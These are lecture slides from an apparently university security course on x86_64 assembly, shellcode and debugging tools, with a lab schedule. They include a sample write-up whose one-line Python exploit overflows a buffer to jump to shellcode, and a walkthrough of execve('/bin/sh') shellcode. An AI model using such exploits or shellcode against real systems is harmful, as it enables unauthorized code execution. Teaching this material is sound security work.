Lec02: x86_64 / Shellcode / Tools

Taesoo Kim

Administrivia

- Please join Mattermost and Piazza!
- Lab02 is already out! (9am every Friday)
- Due: Jan 04 (Monday)

Before the Monday's Meeting

1. Watch the lecture video (~30 min)
2. Read tutorial (~30 min)
3. Watch tutorial videos (~2 hours)

Monday	Tuesday	Wednesday	Thursday	Friday
Dec 21 **LEC:** Warm-up: x86, Tools (slides) **TUT:** Tut01: GDB/x86 [video] **Preperation:** Read asm **Assigned:** Lab01: Bomb Lab1	Dec 22	Dec 23	Dec 24 **REC:** Lab 01	Dec 25 Christmas
Dec 28 **LEC:** Warm-up: x86_64, Shellcode, Tools (slides) **TUT:** Tut02: Pwndbg, Ghidra, Shellcode [video1],[video2],[video3] **Preperation:** Read x86_64 **Assigned:** Lab02: Bomb Lab2 / Shellcode **DUE:** Lab 01	Dec 29	Dec 30	Dec 31 **REC:** Lab 02	Jan 01 New Year's
Jan 04 **LEC:** Writing exploits (slides, slides) **TUT:** Tut03: Writing Your First Exploit [video] **TUT:** Tut03: Writing Exploits with pwntools [video] **Preperation:** Read Phrack #49-14 **Preperation:** Read pwntools **Assigned:** Lab03: Stack Overflow **DUE:** Lab 02	Jan 05	Jan 06	Jan 07 **REC:** Lab 03	Jan 08

Class Plan

- Monday
  - 09:00-10:30 (1:30h) → Review/Summary
  - 10:30-12:00 (1:30h) → In-class tutorial, Q&A
- Thursday:
  - 09:00-10:30 (1:30h) → Q&A, Office hours on Labs (optional)
  - 10:30-12:00 (1:30h) → Q&A, Office hours on Labs (optional)

About Write-up

1) Write-up:

In this problem, ebp and ret value are protected by gsstack. while debugging, you can see all ebp and ret values are keep tracking and storing somewhere. However, when you make an input large enough, you will see that a function pointer will be overwritten. And the overwritten value will be store in EAX and make it jump at <main+96>. I put my shellcode as env, get the address, and put it. In my case, the function pointer(0x08048b0a at 0xbffff654) was overwritten. So we could learn, we could jump using the weakpoint even though the stackshiled is working on.

2) Exploit:

```
$(python -c 'print "\x90"*108+"\x90"*44+"\x87\xf8\xff\xbf"+"\x90"*50')
```

Scoreboard

Discussion 0

1. How does the bomb notify the explosion to the server?

Discussion 1

1. How did you prevent bombs from explosion?

Discussion 2

1. What made your bombs exploded?

Discussion 3

1. Do we have to understand the assembly completely?

ASMs that you read in Lab1

- function calls (phase_funcall)
- switch: jump table (phase_jump)
- for/while loops (phase_quick)
- recursion (phase_binary)
- data structure: array/list/tree
- etc

ASM Show Case 1: funcall

```
push   0x804b96b              ; => "scissors"
push   0x804b974              ; => "paper"
push   0x804b97a              ; => "rock"
push   DWORD PTR [ebp+0x8]    ; => ????
call   8049d0b <func_game>
```

ASM Show Case 2: switch (jump table)


```
        cmp    eax,0x7                                  ; ???
        ja     0x8049e09 <phase_jump+147> ------+       ; ???
        mov    eax,DWORD PTR [eax*4+0x804b948]  |       ; ???
     ** jmp    eax                              |
                                                |
 <+75>: mov    DWORD PTR [ebp-0xc],0x25b        |
        jmp    0x8049e0e <phase_jump+152>       |
 <+84>: mov    DWORD PTR [ebp-0xc],0x232        |
        jmp    0x8049e0e <phase_jump+152>       |
        ...                                     |
<+147>: call   0x8049a3f <explode_bomb>   <=----+
        mov    eax,DWORD PTR [ebp-0x18]
```

ASM Show Case 2: switch (jump table)


```
> telescope 0x804b948
00| 0x804b948→ phase_jump+75  ←mov dword ptr [ebp - 0xc], 0x25b
04| 0x804b94c→ phase_jump+84  ←mov dword ptr [ebp - 0xc], 0x232
08| 0x804b950→ phase_jump+93  ←mov dword ptr [ebp - 0xc], 0x282
0c| 0x804b954→ phase_jump+102 ←mov dword ptr [ebp - 0xc], 0x16c
10| 0x804b958→ phase_jump+111 ←mov dword ptr [ebp - 0xc], 0x2af
...
```

ASM Show Case 2: switch (jump table)


```
switch(index) {
  case 0: ...
  case 1: ...
  case 7: ...
  ...
  default ...
}
```

ASM Show Case 3: for/while loops


```
        mov    DWORD PTR [ebp-0x18],eax             ; p
        mov    DWORD PTR [ebp-0xc],0x0              ; i = 0
        jmp    0x8049f7c <phase_array+92> ----+     ;
                                              |
<+69>:  add    DWORD PTR [ebp-0xc],0x1   <=---|--+ ; i ++
        mov    eax,DWORD PTR [ebp-0x18]        |  | ;
        mov    eax,DWORD PTR [eax*4+0x804e5a0]|  | ; p = ((int *)0x804e5a0)[p]
        mov    DWORD PTR [ebp-0x18],eax        |  |
        mov    eax,DWORD PTR [ebp-0x18]        |  |
        ...                                    |  |
<+92>:  mov    eax,DWORD PTR [ebp-0x18]    <=-+  | ; p
        cmp    eax,0xf                          | ;
        jne    0x8049f65 <phase_array+69> -------+ ; while (p != 15)
```

Lab02: Bomb Lab2 / Shellcode

- Another Bomblab (be extra careful this time)!
- Writing five different shellcodes
  - x86, x86_64, both!, ascii, minimal size (competition)
  - Bonus: the smallest shellcode gets extra **10 pts**!

Today's Tutorial

- x86 shellcode overview
- In-class tutorial
  - pwndbg (modernizing gdb for reverse engineering)
  - Ghidra (interactive disassembler)
  - Walk over x86 shellcode (+ excercise!) and various tools

DEMO: pwndbg commands

- vmmap
- procinfo/elfheader
- telescope/hexdump
- context/stack/regs
- nearpc/pdisass
- search

shellcode (in C)

```c
#include <stdio.h>
#include <unistd.h>

int main() {
  char *sh = "/bin/sh";
  char *argv[] = {sh, NULL};
  char *envp[] = {NULL};
  execve(sh, argv, envp);
  return 0;
}
```

shellcode (in asm)

```
1  #include <sys/syscall.h>
2
3  #define STRING  "/bin/sh"
4  #define STRLEN  7
5  #define ARGV    (STRLEN+1)
6  #define ENVP    (ARGV+4)
7
8  main:
9    jmp     calladdr
10 popladdr:
11   ...
12
13 calladdr:
14   call    popladdr
15   .string STRING
```

shellcode (in asm)

```
1  popladdr:
2    pop    esi
3    mov    [ARGV+esi],esi
4    xor    eax,eax
5    mov    [STRLEN + esi],al
6    mov    [ENVP + esi], eax
7    ...
```

shellcode (in asm)

```
1   popladdr:
2     ...
3     mov     al,SYS_execve
4     mov     ebx,esi
5     lea     ecx,[ARGV + esi]
6     lea     edx,[ENVP + esi]
7     int     0x80
8
9     xor     ebx,ebx
10    mov     eax,ebx
11    inc     eax
12    int     0x80
```

DEMO: shellcode.S

- explain: asm, structure
- `man syscall` (about convention)
- execve()
- debugging shellcode/target
- tutorial: /bin/sh to /bin/cat /proc/flag

In-class Tutorial

- Step 1: Install pwndbg/ghidra
- Step 2: Play with shellcode!

```
$ ssh lab02@ss.snucse.org
Password: <password>

$ cd tut02-shellcode
$ cat README
```

References

- Assembly
- x86
- x86_64
- pwndbg